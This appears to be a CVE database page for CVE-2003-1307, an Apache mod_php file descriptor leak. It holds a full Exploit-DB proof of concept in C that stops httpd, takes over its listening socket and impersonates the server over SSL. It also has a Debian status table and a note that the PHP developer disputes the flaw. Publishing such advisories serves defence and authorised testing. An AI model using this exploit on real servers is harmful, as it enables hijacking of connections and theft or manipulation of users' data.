CVE-2003-1307
Description
The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and use the server's file descriptors, as demonstrated by sending a STOP signal, then intercepting incoming connections on the server's TCP port. NOTE: the PHP developer has disputed this vulnerability, saying "The opened file descriptors are opened by Apache. It is the job of Apache to protect them ... Not a bug in PHP.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Apache 2.0.4x mod_php - File Descriptor Leakage (1)
// source: https://www.securityfocus.com/bid/9302/info
Reportedly, the Apache mod_php module may be prone to a vulnerability that may allow a local attacker to gain access to privileged file descriptors. As a result, the attacker may pose as a legitimate server and possibly steal or manipulate sensitive information.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <openssl/ssl.h>
/*
* The basic actions are like this:
* 1) Become session leader
* 2) Get rid of the parent (apache)
* 3) Start handling requests
*/
#define LISTEN_DESCRIPTOR 4
#define CERTF "/var/www/html/foo-cert.pem"
#define KEYF "/var/www/html/foo-cert.pem"
static SSL_CTX *ctx;
static SSL *ssl;
static X509 *client_cert;
static SSL_METHOD *meth;
static void server_loop(int descr);
static void ssl_init(void);
int main(int argc, char *argv[])
{
/* Need to fork so apache doesn't kill us */
if (fork() == 0) {
/* Become session leader */
setsid();
sleep(2);
/* just in case one was a controlling tty */
close(0); close(1); close(2);
ssl_init();
server_loop(LISTEN_DESCRIPTOR);
}
else
{
sleep(1);
system("/usr/sbin/httpd -k stop");
sleep(1);
}
return 0;
}
static void server_loop(int descr)
{
struct timeval tv;
fd_set read_mask ;
FD_ZERO(&read_mask);
FD_SET(descr, &read_mask);
for (;;) {
struct sockaddr_in remote;
socklen_t len = sizeof(remote);
int fd;
if (select(descr+1, &read_mask, NULL, NULL, 0 ) == -1)
continue;
fd = accept(descr, &remote, &len);
if (fd >=0) {
char obuf[1024];
if ((ssl = SSL_new (ctx)) != NULL) {
SSL_set_fd (ssl, fd);
SSL_set_accept_state(ssl);
if ((SSL_accept (ssl)) == -1)
exit(1);
strcpy(obuf, "HTTP/1.0 200 OK\n");
strcat(obuf, "Content-Length: 40\n");
strcat(obuf, "Content-Type: text/html\n\n");
strcat(obuf, "<html><body>You're owned!</body></html>");
SSL_write (ssl, obuf, strlen(obuf));
SSL_set_shutdown(ssl,
SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
SSL_free (ssl);
ERR_remove_state(0);
}
close(fd);
}
}
SSL_CTX_free (ctx); /* Never gets called */
}
static void ssl_init(void)
{
SSL_load_error_strings();
SSLeay_add_ssl_algorithms();
meth = SSLv23_server_method();
ctx = SSL_CTX_new (meth);
if (!ctx)
exit(1);
if (SSL_CTX_use_certificate_file(ctx, CERTF,
SSL_FILETYPE_PEM) <= 0)
exit(1);
if (SSL_CTX_use_PrivateKey_file(ctx, KEYF,
SSL_FILETYPE_PEM) <= 0)
exit(1);
if (!SSL_CTX_check_private_key(ctx))
exit(1);
}Apache 2.0.4x mod_php - File Descriptor Leakage (2)
OS impact
Debian Affected 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Affected | — |
| sid | Affected | — |
| forky | Affected | — |
| bullseye | Affected | — |
| bookworm | Affected | — |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.